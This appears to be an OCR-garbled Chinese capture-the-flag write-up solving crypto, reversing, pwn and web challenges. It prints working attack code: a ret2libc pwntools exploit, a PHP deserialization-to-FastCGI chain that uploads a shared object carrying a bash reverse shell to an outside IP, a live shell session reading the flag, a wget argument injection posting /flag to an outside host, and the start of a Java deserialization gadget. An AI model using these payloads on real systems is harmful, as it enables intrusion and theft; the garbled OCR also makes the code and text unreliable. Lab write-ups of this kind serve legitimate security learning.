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from gmpy2 import *
from Crypto.Util. number import *

n=12203168613869661959991469076776428609456284211208822531150382601400688603906908319297459971268502782511168485
2235230039182216245029714786480541087105081895339251403738703369399551593882931896392500832061070414483233029067
117410952499655482160104027730462740497347212752269589526267504100262707367020244613503
¢1=3944901640373540589234350720074009847758103960597960348477434771438163521192558592481272799140027803189239199
6192354880233130336052873275920425836986816735715003772614138146640312241166362203750473990403841789871473337067
450727600486330723461100602952736232306602481565348834811292749547240619400084712149673
€2=4394140483582027396414209878206104352212535028072936611631194317110868910811444444729551196909010712953018711
9024651382804933594308335681000311125969011096172605146903018110328309963467134604392943061014968838406604211996
322468276744714063735786505249416708394394169324315945145477883438003569372460172268277

el =65536
e2 =270270
g=gcd(e1.e2)
print(g)
_.s,t=gcdext(e1,e2)
M=pow(c1,s,n)*pow(c2,t,n)%n
for k in range(1000000):
a=iroot(M+k*n.g)
if a[1]:

print(long_to_bytes(a[0]))

break
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BE Base BEFIEE

Base RAE Base BFMEE 2@  Dase HFWEH 3
Type

Base 32 -

CMUZTSMRYGRETQOBXMFOWKNZIZGRROCZVHAZW =
CYIFGIQWIYITMUITQODCGFSTKOLCMISGKNIYGVO
WEZIWMFSGCMIFGZRDACIRMUZGECDCMISTROBY
MFRWKNTBMROTGZIVHBTDOQYTFGUATMOBUMUATS
ODCGFSTKOLCMISGKMIZGI4GGLIYMIYDSMOFHALDD
YLBMUITSNDCGRSTKYRZMIZWENIBMOADS ZIWHE2
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CZRZMFSTIYTGMEYWKNIZGIAGGZIYMIYDSMA=]
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Base RFEE 1 Base EFUEE 2 Base EFES 3Q

b2bbe5828ce8b090e5928ce8b090e5bSb3eTadB9eb95a
cedbEfastlhigsetb2bbesbibiaTaditestsacebadaiet
b ledbabbesisacetadadedaidacdbialeBETa0e 70401
#5528ceBb080e5F6ET e6988e05b0beTad89e 5 8fEbeST
6842587 2207940 1e585acefadaleT88b 1 e50bbde5E5ac
ebada3iefblo] edbBbbeSiSacefadalesbfdbe 5868478
Bble5obbde592Bceab000e887 228794018500k 3eTadE
Sefl5acedbiaesasacefadaiefoSacedbE0aeso28ces
blS0eBET 220754k 06b395e6b2bbelafSaedblal 05928
cefb080
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I F Th REOE AR it HH AL T R BB B A main,  IXRE 1 250 IR ik 2 < [ Blmain, At EElibe, 55 FI T BEOE atoi B
gotfi Nsystem, getshellexp

#!/usr/bin/env python

#coding=utf-8

from pwn import*

r = process(&apos;./qm&apos;)

elf = ELF(&apos;./qm&apos;)

libc = ELF(&apos;/lib/x86_64-linux-gnu/ libc.so.6&apos:;)
context(log_level=&apos;debug&apos; os=&apos;linux&apos;,arch=&apos;amd64&apos;)
def chocie(c):

r.recvuntil("choice")

r.sendline(str(c))

def add(size,content):
chocie(1)
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.send(content)

def edit(addr,content):
chocie(0)
r.recvuntil(":")
r.sendline(addr)
r.recvuntil(":")
r.send(content)

pop_rdi_ret = 0x400a03

pop_rsi_r15_ret = 0x400a01

main = 0x40090B

payload = p64(pop_rdi_ret)

payload += p64(elf.got/&apos;puts&apos;])

payload += p64elf.plt{&apos;puts&apos;])

payload += p64(main)
edit(str(0x601020),p64(0x40090B))
yichu(0x200,&apos;A&apos;“0x110 + p64(0) + payload)
chocie(5)

chocie(5)

leak = u64(r.recvuntil(&apos;\x7f&apos;)[-6:].ljust(8,b&apos;\x00&apos;))
libc_base = leak - libc.sym|[&apos;puts&apos;]

system = libc_base + libc.sym|&apos;system&apos;|
edit(str(0x601040),p64(system))
r.sendline(b&apos;/bin/sh\x00&apos;)

r.interactive()

flag{fe64f4d6-bd04-4bb7-87e5-479efd3b86a5}
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TR, DATIF, HTHERRIR, HiEshiftrF12, RFFFEH, REMDSKIE R

oata sy, . s K SrOUND _anoCa Comupteda

rdata 00418.. 0000000E ReglpenteyExW
rdata 00418 00000011 ReqCueryValusExW
rdata 00418 000000CC ReqClosekey

rdata 00418 00000011 PDEOpenvalidates
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a = [0xB7, 0x52, 0x85, 0xC1, 0x90, OXE9, 0x07, 0xB8, 0xE4, Ox1A, 0xC3, 0xBD, 0x1D, 0x8E, 0x85, 0x46, 0x00, 0x21, 0x44
OxAF, OxEF, 0x70, 0x32, 0xB5, 0x11, 0xC6

b = [OxE4 ,0x17, 0XD1,0x82,0xC4, OXAF, 0x7C, OXEC, 0X8C,0x2B, 0xBO, OxE2, 0x74, 0xBB, OxDA

0x03, 0x32, OX7E, 0x71, 0xDB, 0xBD, 0x13, Ox5F, 0x8C, 0x30, 0xBB

foriin range(len(a
print(chr((ali]"b[i]) &0xff),end=""
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from Crypto.Cipher import AES
from Crypto.Util. number import *

key=b'this_is_a_key!!!"
cipher=long_to_bytes(0x1030a9254d44937bed312da03d2db9adbec5762c2eca7b5853e489d2a140427b)
aes=AES.newkey, AES.MODE_ECB)

text=aes.decrypt(cipher)

print(text)

flag{yOu_found_the_aes_12113112}
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RFFFMCERMERERRAR T, EFWES RIS ZZRNTH, HERMEATS. 47 MHint2E B Rphpinfo, AT
— TFphpinfoE—TF:

class Bypass {
public function __construct(){
->str4 = "phpinfo";
->feng = new Esle();

/*  public function __destruct()
{
if (Check::$str1) {
($this->strd)();
}else {
//throw new Error("Error”);
}
7
¥

echo urlencode(serialize(new Bypass()));

RINFfastcgi, FBAR SR HXE:

file_put_contents( ->filename, ->data);



1R% 5 1 2R A ftp i S K 4T fastegi T«
WARLEEMABERMAT T, AHEYT . AIEBERNsofTid %, #ESLE /tmp/feng.so :

import base64
import requests

payload="fOVMRgIBAQAAAAAAAAAAAAMAPgABAAAAUAUAAAAAAABAAAAAAAAAAOAXAAAAAAAAAAAAAEAAOAAHAEAAHAADAAEAAAAF A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL ACAAAAAAAASBWAAAAAAAAAAIAAAAAAAAQAAAAYAAAAIDGAAAAAAAAGOIAAAAAAACA
4gAAAAAAAGAgGAAAAAAACGCAAAAAAAAAAAGAAAAAAACAAAABGAAACAOAAAAAAAAIAAgAAAAAAAGDIAAAAAAAMABAAAAAAAAWAEAAAA
AAAAIAAAAAAAAAAQAAAAEAAAAYAEAAAAAAADIAQAAAAAAAMGBAAAAAAAAJAAAAAAAAAAKAAAAAAAAAAQAAAAAAAAAUOVOZAQAAACI
BgAAAAAAAIGGAAAAAAAAIAYAAAAAAAAKAAAAAAAAACQAAAAAAAAABAAAAAAAAABRS XRKBGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAFLIAGQEAAAACAAAAAAAAAAIDIAAAAAAAAGOIAAAAAAA+AEAAAAAAADAAQAAAAAAAA
EAAAAAAAAABAAAABQAAAADAAAAROSVAGJKFVx8YxHbPRhAR/Mm8cM7 AFWRAAAAAAMAAAAGAAAAAQAAAAYAAACIWIABABRACQYAAA
AIAAAACgAAAEJF 1ey745J82HF YHLMN8Q7q0+8 ObRKHWIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAIAAAAAAAAAAAAAAAA
AAAAAAAAABPAAAAEGAAAAAAAAAAAAAAAAAAAAAAAAABAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAL AAAAIAAAAAAAAAAAAAAAAAAAAA
AAAABSAAAAIGAAAAAAAAAAAAAAAAAAAAAAAABGAAAAEAAWACGQIAAAAAAAAAAAAAAAAACNAAAAEAAXADAQIAAAAAAAAAAAAAAAAA
CBAAAAEAAXACgQIAAAAAAAAAAAAAAAAAAQAAAAEGAJAAAF AAAAAAAAAAAAAAAAAAAWAAAAEGANAEAGAAAAAAAAAAAAAAAAAABHA
AAAEgAMACoGAAAAAAAAEWAAAAAAAAAAXTINbWIUXINOYXJOXT18AX2IuaXQAX2ZpbmkAXOIUT VOKZXJIZ21zdGVYyVE1DbGOuZVRhYmxIAF9J
VE1femVnaXNOZXJUT UNsb25IVGFibGUAX19je GFfZmluYWxpemUAcHJbGOhZABze XNOZWOAbGIiYy5zby42AF9IZGF 0YQBfX2Jzc19zd GFyd ABf
ZWS5KAEAMSUJDXzIuMi4 1 AAAAAAACAAAAAAACAAEAAQABAAEAAQABAAAAAQABAHAAAAAQAAAAAAAAAHUaa QKAAAIAKGAAAAAAAAAIDI
AAAAAAAAGAAAAAAAAAIAYAAAAAAAAY DIAAAAAAAAGAAAAAAAAALAUAAAAAAAAGECAAAAAAAAGAAAAAAAAAIBAGAAAAAAAQDIAAAAAA
AAEAAAALAAAAAAAAAAAAAADgDYAAAAAAAAYAAAABAAAAAAAAAAAAAADo DYAAAAAAAAYAAAADAAAAAAAAAAAAAADWDYAAAAAAAAY
AAAAEAAAAAAAAAAAAAADA DYAAAAAAAAY AAAAF AAAAAAAAAAAAAAAY ECAAAAAAAACAAAACAAAAAAAAAAAAAABIg+WISIsF 3QogAEiIFw
HQC/9BIg8 QMWAAAAAAAAAAAPSE 14gogAP8I5A0gAABFQAD/JelKIABOAAAAAONG/YyWYCIAAZpAAAAAAAAAAAEINPAEKIABVSIOF yQogAEg5+Ei
J5XQZSIsF cgogAEIFWHQNX/gZi4PHAQAAAAAAF 3DDXOAAGYuDx+EAAAAAABI T2RCiAASIO 1igogAF VIKTSlieViwf4 DSInwSMHoPOgBxkjR/nQYSI
sFMQogAEiFWHQMXf/gZg8fhAAAAAAAXCMPHOAAZIAPHAQAAAAAAIA9QQogAAB1LOIDPQCKIAAAVUIJSXQMSIsOlgogAOg96 EjGBRKKIAABXcM
PHAAAAAAAB8NMDX9EAABVSInIXelmVUIJSUINPRsAAAD09V7//5BAWWAAAEID7 Ahlg8 QMWAAAAAAAABIY XNoIC1jICdiYXNoIC1pID4mICOkZXYvd
GNwLzEyMS41LjE20S4yMjMvMzk4NzY gMD4mMSCcAAAEDbAZSKAAAAAWAAAJ+//OAAAAAUPT [[2gAAACIGAAAAAAAAAAUAAAAAAAAAAF 6UgAB
eBABGWWHCJABAAAKAAAAHAAAAF D+//8gAAAAAA4QRg4 Y Sg8LAWIAAD8aOyozJCIAAAAAF AAAAEQAAABI/V//ICAAAAAAAAAAAAAAAHAAAAF
WAAAAZEWAAAABBDhCGAKMNBk4 MBWgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAACAGAAAAAAAAAAAAAAAAAADGBQAAAAAAAAEAAAAAAAAACAAAAAAAAAAMAAAAAAAAAAAF AAAAAAAADQAAAAAAAABABGAAAAAA
ABKAAAAAAAAACA4gAAAAAAADAAAAAAAAABAAAAAAAAAAGGAAAAAAAAAY DIAAAAAAABWAAAAAAAAACAAAAAAAAAD 1/vOVAAAAAPABA
AAAAAAABQAAAAAAAABQAWAAAAAAAAYAAAAAAAAAMAIAAAAAAAAKAAAAAAAAAIA AAAAAAAAACWAAAAAAAAAY AAAAAAAAAAMAAAAA
AAAAABAgGAAAAAAACAAAAAAAAABGAAAAAAAAAF AAAAAAAAAAHAAAAAAAAABCAAAAAAAAAGAQAAAAAAAAHAAAAAAAAACGEAAAAAAA
ACAAAAAAAAADAAAAAAAAAAAKAAAAAAAAAGAAAAAAAAAD +//9VAAAAAAGEAAAAAAAADWAAAAABAAAAAAAAAPD/28AAAAAT gMAAAAAA



ADS/IYVAAAAAANIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAOIAAAAAAAAAAAAAAAAAAAAAAA
AAAAADYFAAAAAAAAIBAGAAAAAABHQOMBIChVYnVudHUgNy4 1LjAtM3VidW50d TF +MTguMDQpIDcuNSAWAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAWABAMgBAAAAAAAAAAAAAAAAAAAAAAAAAWACAPABAAAAAAAAAAAAAAAAAAAAAAAAAWADADACAAA
AAAAAAAAAAAAAAAAAAAAAAWAEAF ADAAAAAAAAAAAAAAAAAAAAAAAAAWAF AO4DAAAAAAAAAAAAAAAAAAAAAAAAAWAGAAGEAAAAAA
AAAAAAAAAAAAAAAAAAAWAHACGEAAAAAAAAAAAAAAAAAAAAAAAAAWAIAOGEAAAAAAAAAAAAAAAAAAAAAAAAAWAJAAAF AAAAAAAAAA
AAAAAAAAAAAAAAAWAKACAF AAAAAAAAAAAAAAAAAAAAAAAAAWAL AEAF AAAAAAAAAAAAAAAAAAAAAAAAAWAMAF AF AAAAAAAAAAAAA
AAAAAAAAAAAAWANAEAGAAAAAAAAAAAAAAAAAAAAAAAAAWAOAF AGAAAAAAAAAAAAAAAAAAAAAAAAAWAPAIgGAAAAAAAAAAAAAAAA
AAAAAAAAAWAQALAGAAAAAAAAAAAAAAAAAAAAAAAAAWARAAGOIAAAAAAAAAAAAAAAAAAAAAAAAWAS ABgOIAAAAAAAAAAAAAAAAAAA
AAAAAWATACAOIAAAAAAAAAAAAAAAAAAAAAAAAWAUAOAPIAAAAAAAAAAAAAAAAAAAAAAAAWAVAAAQIAAAAAAAAAAAAAAAAAAAAAAA
AWAWACAQIAAAAAAAAAAAAAAAAAAAAAAAAWAXACGQIAAAAAAAAAAAAAAAAAAAAAAAAWAY AAAAAAAAAAAAAAAAAAAAAAABAAAABADX
IWAAAAAAAAAAAAAAAAAAAAAMAAAAAGAMAF AF AAAAAAAAAAAAAAAAAAAOAAAAAGAMAJAF AAAAAAAAAAAAAAAAAAANAAAAAGAMAOA
FAAAAAAAAAAAAAAAAAAASAAAAAQAXACGQIAAAAAAAAQAAAAAAAABGAAAAAQASABgOIAAAAAAAAAAAAAAAAABIAAAAAGAMACAGAAA
AAAAAAAAAAAAAAABSAAAAAQARAAGOIAAAAAAAAAAAAAAAAACYAAAABADXYWAAAAAAAAAAAAAAAAAAAAABAAAABADXY WAAAAAAAAAA
AAAAAAAAAACTAAAAAQAQACGHAAAAAAAAAAAAAAAAAAAAAAAABADX WAAAAAAAAAAAAAAAAAAAACIAAAAAQAWACAQIAAAAAAAAAAA
AAAAAACBAAAAAQATACAOIAAAAAAAAAAAAAAAAADDAAAAAAAPAIGGAAAAAAAAAAAAAAAAAADWAAAAAQAWACGQIAAAAAAAAAAAAAA
AAADIAAAAAQAVAAAQIAAAAAAAAAAAAAAAAADAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAUAQAAEAAWACGQIAAAAAAAAAAAAAAAAAA
bAQAAEgANAEAGAAAAAAAAAAAAAAAAAAARAQAAEgGAAAAAAAAAAAAAAAAAAAAAAAAATAQAAIAAAAAAAAAAAAAAAAAAAAAAAAABEAQ
AAEAAXADAQIAAAAAAAAAAAAAAAAABJAQAAEAAXACGQIAAAAAAAAAAAAAAAAABVAQAAEgAMACOGAAAAAAAAEWAAAAAAAABJAQAAIA
AAAAAAAAAAAAAAAAAAAAAAAAB3AQAAIGAAAAAAAAAAAAAAAAAAAAAAAACT AQAAEGAJAAAF AAAAAAAAAAAAAAAAAAAAY 3J0c3R1ZmY
uYwBkZXJIZ21zd GVy X3RtX2Nsb25lcwBfX2RvX2dsb2JhbF 9kdG9yc19hdXgAY29tcGXdGVkLjc20OTgAX19kb19nbGOiYWxXZHRvCNNFY XV4X2Zpbm
IFYXJy YXIfZW50cnkAZnJhbWVFZHVtb XkAX19memFtZV9kdW1te VOpbmlOX2F ycmF 5X2VudHIJ5AGhhY2su YWBfX0ZSQU1 FXOVORF 9fAF 9fZHNv X2
hhbmRsZQBfRFIOQU1JQwBfX0dOVVIF SFIGUKF NRVIIRFIAX19UT UNfRUSEX18AX0dMTOJBTFOPRKZTRVRIVEF CTEVFAF9JIVE1fZGVyZWdp
c3RICIRNQ2xvbmVUYWJsZQBfZWRhdGEAX2ZpbmkAc3Izd GVIQEBHTEICQ18yLjluNQBfX2dtb25fc3Rhcn RIXWBfZW5KAF 9fYnNzZX3NO Y XJOAHBY
ZWxvYWQAXOIUTV9yZWdpc3RICIRNQ2xvbmVUYWJsZQBfX2N4 YVImaW5hb GI6 ZUBAROXJQkNfMi4yLjUAX2luaXQAAC5ze W10YWIALNNOcnRh
YgAuc2hzdHJIOYWIALm5vdGUUZ251LmJ1aWxkLWIKACSnbnUuaGFzaAAuZHIuc3ItAC5ke W5zd HIALmdudS527XJzaW9uACSnbnUudmVyc2Ivbl9
yAC5yZWxhLmR5bgAucmVsYS5wbHQALmluaXQALnBsdC5nb3QALNRIeHQALMZpbmkALNnJvZGFO0YQAUuZWhfZnJhbWVfaGRyAC5laF 9mcemFtZ
QAuaW5pdF9hcndheQAuZmluaV9hcndhe QAUZHIUYW1pYwAUZ290LnBsdAAUZGF 0YQAUYNNZAC5jb2 1tZW50AAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAABWAAAAIAAAAAAAAAYAEAAA
AAAADIAQAAAAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAALGAAAPD//28CAAAAAAAAAPABAAAAAAAABAEAAAAAAAA
S8AAAAAAAAAAMAAAAAAAAACAAAAAAAAAAAAAAAAAAAADGAAAALAAAAAGAAAAAAAAAWAGAAAAAAADACAAAAAAAAIAEAAAAAAAAEAAA
AAQAAAAGAAAAAAAAAGAAAAAAAAABAAAAAAWAAAAIAAAAAAAAAUAMAAAAAAABQAWAAAAAAAIA AAAAAAAAAAAAAAAAAAAABAAAAAA
AAAAAAAAAAAAAASAAAAP/I[28CAAAAAAAAAOADAAAAAAAAT gMAAAAAAAAY AAAAAAAAAAMAAAAAAAAAAGAAAAAAAAACAAAAAAAAAF
UAAAD+//9vAgAAAAAAAAAIBAAAAAAAAAGEAAAAAAAAIAAAAAAAAAAEAAAAAQAAAAGAAAAAAAAAAAAAAAAAAABKAAAABAAAAAIAAAAAA
AAAKAQAAAAAAAAOBAAAAAAAAMAAAAAAAAAAAWAAAAAAAAAIAAAAAAAAABGAAAAAAAAADGAAAAQAAABCAAAAAAAAAOGEAAAAAAAA
6AQAAAAAAAAYAAAAAAAAAAMAAAAVAAAACAAAAAAAAAAYAAAAAAAAAHGAAAABAAAABGAAAAAAAAAABQAAAAAAAAAF AAAAAAAAF WA
AAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABZAAAAAQAAAAY AAAAAAAAAIAUAAAAAAAAGBQAAAAAAACAAAAAAAAAAAAAAAA
AAAAAQAAAAAAAAABAAAAAAAAAATGAAAAEAAAAGAAAAAAAAAEAF AAAAAAAAQAUAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAA
AIAAAAAAAAAICAAAABAAAABgAAAAAAAABQBQAAAAAAAF AFAAAAAAAAT QAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAACNAA
AAAQAAAAYAAAAAAAAAQAYAAAAAAABABgAAAAAAAAKAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAKWAAAAEAAAACAAAAA
AAAAFAGAAAAAAAAUAYAAAAAAAASAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAISAAAABAAAAAGAAAAAAAACIBgAAAAAAAI
gGAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACPAAAAAQAAAAIAAAAAAAAASAY AAAAAAACWBGAAAAAAAHWAAA
AAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAASWAAAAL AAAADAAAAAAAAAAGOIAAAAAAACAAAAAAAAAAQAAAAAAAAAAAAAAAAAA
AACAAAAAAAAAAIAAAAAAAAALBAAAAPAAAAAWAAAAAAAAAYDIAAAAAAABgOAAAAAAAACAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAACA
AAAAAAAADLAAAABgAAAAMAAAAAAAAAIA4gAAAAAAAGDgAAAAAAAMABAAAAAAAABAAAAAAAAAAIAAAAAAAAABAAAAAAAAAAGIAAAAE
AAAADAAAAAAAAAOAPIAAAAAAA4ABAAAAAAAAGAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAANQAAAABAAAAAWAAAAAAAAA
AECAAAAAAAAAQAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAACAAAAAAAAADIAAAAAQAAAAMAAAAAAAAAIBAGAAAAAAAGEAA
AAAAAAAGAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAGWAAAAGAAAADAAAAAAAAACGQIAAAAAAAKBAAAAAAAAAIAAAAAAAA
AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAOGAAAABAAAAMAAAAAAAAAAAAAAAAAAAACGQAAAAAAAAKQAAAAAAAAAAAAAAAAAAAA
EAAAAAAAAAAQAAAAAAAAABAAAAAGAAAAAAAAAAAAAAAAAAAAAAAABY EAAAAAAAAPGEAAAAAAAAGGAAACOAAAAIAAAAAAAAABGAAA
AAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAUBUAAAAAAACZAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABEAAAAD
AAAAAAAAAAAAAAAAAAAAAAAAAOKWAAAAAAAABQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA="

url="http://cf41a4b5-d2b7-490f-93c5-5b32adf39563.node4.buuoj.cn:81/"

params = {
"code":'O:6:"Bypass":2:{s:4:"str4";0:7:"Welcome": 1:{s:8:"username";0:5:"Bunny": 1:{s:8:"filename";s: 12:"/tmp/feng.so";}}s:4:"feng"; O:4:"Esle"
0:3
}
data={



"data":base64.b64decode(payload)
}

r=requests.post(url=url,params=params,data=data)

foAiBAL, ncid, ZRJEpayloaddTid =T T :

<?php

class Check {
public static $str1 = false;
public static $str2 = false;

class Esle {
public function __ wakeup()

{
Check::$str1 = true;

class Hint {

public function __ wakeup(){
$this->hint = "no hint";

public function __destruct(){
if(1$this->hint){
$this->hint = "phpinfo";
($this->hint)();

class Bunny {
public function __construct(){

$this->filename="ftp://121.5.169.223:39444/1";

$this->data = urldecode("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04 %00%01%01%9C%00%00%11
%0BGATEWAY _INTERFACEFastCGI%2F 1.0%0E%04REQUEST METHODPOST%0F %16SCRIPT _FILENAME%2F var%2Fwww%2F html%2Fu
ser.php%0B%09SCRIPT _NAME%Z2F user.php%0B%09REQUEST _URI%2F user.php%0F %29PHP_ADMIN VALUEextension_dir+%3D+%2Ftmp
%0Aextension+%3D+feng.s0%0A%0F %11SERVER_SOFTWAREphp%2Ffastcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_P
ORT9985%0B%09SERVER ADDR127.0.0.1%0B%02SERVER PORT80%0B%09SERVER NAMElocalhost%0F %08SERVER PROTOCOLHT
TP%2F1.1%0C%21CONTENT _TYPEapplication%2Fx-www-form-urlencoded%0E%01CONTENT_LENGTH0%01%04%00%01%00%00%00%0
0%01%05%00%01%00%00%00%00");

}

public function __toString()
{
if (Check::$str2) {
if(1$this->data){
$this->data = $_REQUEST|'data’];
!
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");



class Welcome
public function __construct
$this->username = new Bunny

public function __invoke

Check::$str2 = true
return "Welcome" . $this->username

class Bypass
public function __construct
$this->str4 = new Welcome
$this->feng = new Esle

/*  public function __destruct

if (Check::$str1
$this->str4
else
//throw new Error("Error"

*/
echo urlencode(serialize(new Bypass

http://cf41a4b5-d2b7-490f-93c5-5b32adf39563.node4 .buuoj.cn:81/?code=0%3A6%3A%22Bypass %22 %3A2%3A%7Bs%3A4%3A%22str4d %2
2%3B0O%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3B0%3A5%3A%22Bunny %22 %3A2%3A%7Bs%3A8%3A
%22filename %22 %3Bs %3A27 %3A%22ftp%3A%2F %2F121.5.169.223%3A39444%,2F 1%22%3Bs%3A4%3A%22data%22%3Bs%3A452%3A%
22%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%9C%00%00%11%0BGATEWAY_INTERFAC
EFastCGI%2F1.0%0E%04REQUEST METHODPOST %0F %16SCRIPT_FILENAME%:2F var%2Fwww”/.2Fhtml%2Fuser.php%0B%09SCRIPT_N
AME%2Fuser.php%0B%09REQUEST_URI%2Fuser.php%0F %29PHP_ADMIN_VALUEextension_dir+%3D+%2Ftmp%0Aextension+%3D+feng.s
0%0A%0F %11SERVER_SOFTWAREphp%2Ffastcgiclient’:0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER
_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMEIlocalhost%0F %08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTE
NT_TYPEapplication%2Fx-www-form-urlencoded%0E%01CONTENT_LENGTH0%01%04%00%01%00%00%00%00%01%05%00%01%00%00
%00%00%22%3B%7D%7Ds%3A4%3A%22feng %22 %3B0O%3A4%3A%22Esle %22 %3A0%3A%7B%7D%7D



root@VM-0-6-ubuntu:~# nc -lwp 39876
Listening on [0.0.0.0] (family O, port 39876)
Connection from 117.21.200.166 64381 received!
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
www-data@adc71746264f:~/html$ s

Is

index php
www-data@adc71746264f:~/html$ cd /

cd/

www-data@a4dc71746264f:/$ Is

Is

bin

boot

dev

etc

flag

home

lib

lib64

media

mnt

opt

php.ini

proc

root

run

sbin

srv

sudoers

sys

tmp

usr

var

www-data@a4c71746264f:/$ cat /flag

cat /flag
flag{b483c338-32f1-48a9-819f-72e276607834}

« CheckIN

—IEGoMAS H i, REH—WNIZHMAIE T, /wget RFIAE], ([HEUUFEREH M-

router. GET("/wget", getController)

func getController(c *gin.Context) {

cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)
err := cmd.Run()
if err I=nil {

fmt.Printin("error: ", err)

c.String(http.StatusOK, "Nothing")



BERIITHST, EwgetittflagHs HREI AT

/wget?argv=1&argv=--post-file&argv=/flag&argv=http://121.5.169.223:39876/

root@VM-0-6-ubuntu:~# nc -lwp 39876

Listening on [0.0.0.0] (family O, port 39876)
Connection from 117.21.200.166 37526 received!
POST /HTTP/11

User-Agent: Wget/1.20.3 (linux-gnu)

Accept: */*

Accept-Encoding: identity

Host: 121.5.169.223:39876

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded
Content-Length: 43

flag{88729834-1693-4af8-abba-0ebf6bd84ec2}

« EasyJaba

HTARFHIREIAND, THEHEAET toString() 77%:

@ResponseBody
@RequestMapping({"/BackDoor"})
public String BackDoor(@RequestParam(name = "ctf" required = true) String data) throws Exception {
Set blacklist = new HashSet() {
{
this.add("java.util. HashMap");
this.add("javax.management.BadAttributeValueExpException");

5

Object object = null;

byte[] b = Tool.base64Decode(data);

InputStream inputStream = new ByteArraylnputStream(b);

BlacklistObjectinputStream ois = new BlacklistObjectinputStream(inputStream, blacklist);

try {
object = ois.readObject();
} catch (IOException var12) {
var12.printStackTrace();
} catch (ClassNotFoundException var13) {
var13.printStackTrace();
} finally {
System.out.printin("information:" + object.toString());

return "calm down....";

HREERBAHE, ﬁ——Fpom.me:



<?xml version="1.0" encoding="UTF-8"7>
<project xmins="http://maven.apache.org/POM/4.0.0" xmin=: xsi="http://www.w3.0rg/2001/XMLSchema-instance"
¥=i.schemalocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupld>org.springframework.boot</groupld>
<artifactld>spring-boot-starter-parent</artifactld>
<version>2.5.6</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupld>com.kyzy.ctf</groupld>
<artifactld>ezaba</artifactld>
<version>0.0.1-SNAPSHOT </version>
<name>ezjaba</name>
<description>Demo project for Spring Boot</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupld>org.springframework.boot</groupld>
<artifactld>spring-boot-starter-web</artifactld>
</dependency>
<dependency>
<groupld>org.springframework.boot</groupld>
<artifactld>spring-boot-starter-test</artifactld>
<scope>test</scope>
</dependency>
<dependency>
<groupld>rome</groupld>
<artifactld>rome</artifactld>
<version>1.0</version>
</dependency>
</dependencies>

<build>
<plugins>
<plugin>
<groupld>org.springframework.boot</groupld=>
<artifactld>spring-boot-maven-plugin</artifactid>
</plugin>
</plugins>
</build>

</project>

FiromeBERRIT, BE—THEAE AR Llrce, B FZERH B #ban T fiHashMap. 1B F|HashMapHsz H &~ T £ Gadget
i F 238 MoString, BEABEZEREEA T, BT ERPOCE — TR :



package com. summer test;

import com sun. org. apache xalan internal x=ltc trax Templatesimpl;
import com sun. syndication. feed.imp | ObjectBean;

import jawax xml transform. Templates;

import java io. ByteArrayOutputStream:;

import jawa io. ObjectOutputStream;
import java lang reflect Field;
import java util Base64;

public class Test {

public static class StaticBlock { }
public static void main(String|] args) throws Exception {
byte[][] bytecodes = new byte[][|{Base64.getDecoder().decode("xxx")};

N SEBIE I 1% & g 1

Templatesimpl templatesimpl = new Templatesimpl();

Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);

fieldByteCodes.set(templatesimpl, bytecodes);

Field fieldName = templatesimpl.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName set(templatesimpl, "test");

Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory");
fieldTfactory.setAccessible(true);
